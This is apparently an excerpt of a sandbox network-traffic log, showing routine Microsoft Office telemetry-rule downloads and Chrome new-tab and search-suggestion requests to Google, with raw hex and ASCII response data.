2024-11-26 21:52:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215225Z-174f7845968qj8jrhC1EWRh41s0000000vxg00000000gp7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:25 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215226Z-174f7845968v75bwhC1EWRuqen0000000gzg00000000a8fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:25 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:26 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 89e88ad2-001e-0065-4491-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215226Z-174f7845968kdththC1EWRzvxn000000088g00000000qnxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:26 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:26 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:26 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215226Z-174f7845968n2hr8hC1EWR9cag0000000vkg00000000pved x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49735	172.217.21.36	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:27 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49734	172.217.21.36	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:27 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 21:52:27 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:27 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-coAER8fDne0suyRHGIapdg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 21:52:27 UTC	124	IN	Data Raw: 64 37 36 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 65 69 63 6f 20 74 72 61 76 65 6c 65 72 73 22 2c 22 62 6f 73 74 6f 6e 20 62 72 75 69 6e 73 20 6a 69 6d 20 6d 6f 6e 74 67 6f 6d 65 72 79 22 2c 22 6e 6f 73 66 65 72 61 74 75 20 70 6f 70 63 6f 72 6e 20 62 75 63 6b 65 74 73 22 2c 22 61 69 72 20 66 6f 72 63 65 20 64 72 6f 6e 65 73 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 Data Ascii: d76)]}'["",["geico travelers","boston bruins jim montgomery","nosferatu popcorn buckets","air force drones","thanksgiving
2024-11-26 21:52:27 UTC	1390	IN	Data Raw: 20 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 66 6f 72 65 63 61 73 74 20 73 6e 6f 77 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 64 6f 75 62 6c 65 20 78 70 20 65 76 65 6e 74 22 2c 22 79 75 73 65 69 20 6b 69 6b 75 63 68 69 20 61 6e 67 65 6c 73 22 2c 22 73 70 6f 74 69 66 79 20 77 72 61 70 70 65 64 20 32 30 32 34 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 Data Ascii: winter storm forecast snow","black ops double xp event","yusei kikuchi angels","spotify wrapped 2024"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:sug
2024-11-26 21:52:27 UTC	1390	IN	Data Raw: 61 61 6d 46 77 5a 33 52 68 55 56 46 34 64 32 70 4c 5a 6d 68 5a 4e 6b 5a 54 56 48 68 53 55 6d 78 58 61 6e 6c 76 4f 45 35 46 4e 33 70 57 52 33 4a 77 63 47 46 6a 65 54 68 54 65 56 6c 43 52 45 52 6b 56 44 42 4a 4f 55 52 32 63 46 5a 77 63 58 46 53 59 55 5a 58 63 55 6b 79 4e 47 31 69 61 48 67 30 4e 32 45 31 57 48 56 55 4e 55 31 4d 53 32 5a 35 54 57 78 51 5a 55 74 47 52 32 68 77 4e 54 52 44 63 32 4e 6a 51 6e 68 4b 53 55 4a 33 63 33 67 32 52 48 70 36 62 30 68 6a 4e 32 74 50 4f 55 31 36 52 6d 4e 78 5a 6d 67 79 4c 32 4a 53 54 32 39 7a 54 6a 4e 79 59 55 78 31 53 56 6c 74 61 6c 70 6d 61 31 64 56 4e 46 5a 30 51 6c 6c 6c 65 56 59 31 4f 54 52 52 55 56 5a 70 55 6e 52 32 64 56 5a 69 53 56 67 78 4d 56 42 72 51 7a 6c 36 56 79 74 55 53 7a 68 6c 59 54 42 75 54 6d 4a 6c 4d 54 Data Ascii: aamFwZ3RhUVF4d2pLZmhZNkZTVHhSUmxXanlvOE5FN3pWR3JwcGFjeThTeVlCRERkVDBJOUR2cFZwcXFSYUZXcUkyNG1iaHg0N2E1WHVUNU1MS2Z5TWxQZUtGR2hwNTRDc2NjQnhKSUJ3c3g2RHp6b0hjN2tPOU16RmNxZmgyL2JST29zTjNyYUx1SVltalpma1dVNFZ0QllleVY1OTRRUVZpUnR2dVZiSVgxMVBrQzl6VytUSzhlYTBuTmJlMT
2024-11-26 21:52:27 UTC	549	IN	Data Raw: 58 70 68 63 44 6b 32 62 7a 52 77 4d 6d 70 77 57 6b 31 48 54 6c 64 4d 51 57 56 6c 63 47 52 6d 4e 48 70 45 56 33 5a 47 4f 55 74 75 57 54 5a 53 4d 43 74 54 4d 58 49 7a 52 31 70 72 62 7a 4e 4e 4f 46 52 73 4e 6d 52 50 53 47 52 6e 59 31 6c 49 54 57 35 57 51 6a 64 50 56 55 78 34 4d 44 46 51 55 6a 42 70 63 57 46 78 63 47 4e 4c 62 54 4a 34 57 57 35 42 53 6a 68 30 65 54 4e 72 54 53 74 48 63 44 64 61 55 6e 67 7a 53 30 4e 4b 61 6a 68 45 54 30 4e 6d 64 48 59 34 51 58 68 78 65 43 38 77 4e 32 46 4c 55 79 39 57 52 6d 52 4f 64 33 51 33 52 45 4a 74 54 6c 41 33 61 32 31 57 57 44 64 6a 53 57 73 78 56 58 42 76 57 45 56 53 61 44 64 56 4d 44 46 51 55 56 56 4f 52 46 6f 30 52 32 4a 31 4e 47 68 33 62 47 63 79 52 30 6b 30 5a 44 68 75 53 54 55 33 61 79 74 4b 54 32 77 33 64 47 68 6a Data Ascii: XphcDk2bzRwMmpwWk1HTldMQWVlcGRmNHpEV3ZGOUtuWTZSMCtTMXIzR1prbzNNOFRsNmRPSGRnY1lITW5WQjdPVUx4MDFQUjBpcWFxcGNLbTJ4WW5BSjh0eTNrTStHcDdaUngzS0NKajhET0NmdHY4QXhxeC8wN2FLUy9WRmROd3Q3REJtTlA3a21WWDdjSWsxVXBvWEVSaDdVMDFQUVVORFo0R2J1NGh3bGcyR0k0ZDhuSTU3aytKT2w3dGhj
2024-11-26 21:52:27 UTC	461	IN	Data Raw: 31 63 36 0d 0a 53 33 4e 36 54 6d 6c 71 59 33 64 5a 55 46 4e 54 55 32 4e 76 64 6b 78 7a 62 6c 42 56 4d 47 64 78 53 33 4d 7a 54 55 73 78 59 6b 6c 35 63 33 68 57 65 55 30 7a 55 45 73 77 62 6c 42 36 4d 44 42 30 63 57 64 52 51 55 70 4f 4d 45 39 35 55 58 41 47 63 41 63 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 39 30 37 2c 39 30 36 2c 39 30 35 2c 39 30 34 2c 39 30 33 2c 39 30 32 2c 39 30 31 2c 39 30 30 5d 2c 22 67 6f 6f 67 6c 65 3a Data Ascii: 1c6S3N6TmlqY3dZUFNTU2NvdkxzblBVMGdxS3MzTUsxYkl5c3hWeU0zUEswblB6MDB0cWdRQUpOME95UXAGcAc\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[907,906,905,904,903,902,901,900],"google:
2024-11-26 21:52:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49733	172.217.21.36	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:27 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 21:52:27 UTC	1018	IN	HTTP/1.1 200 OK Version: 698674578 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 26 Nov 2024 21:52:27 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-26 21:52:27 UTC	372	IN	Data Raw: 32 30 62 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 20bd)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-26 21:52:27 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-26 21:52:27 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-26 21:52:27 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-26 21:52:27 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 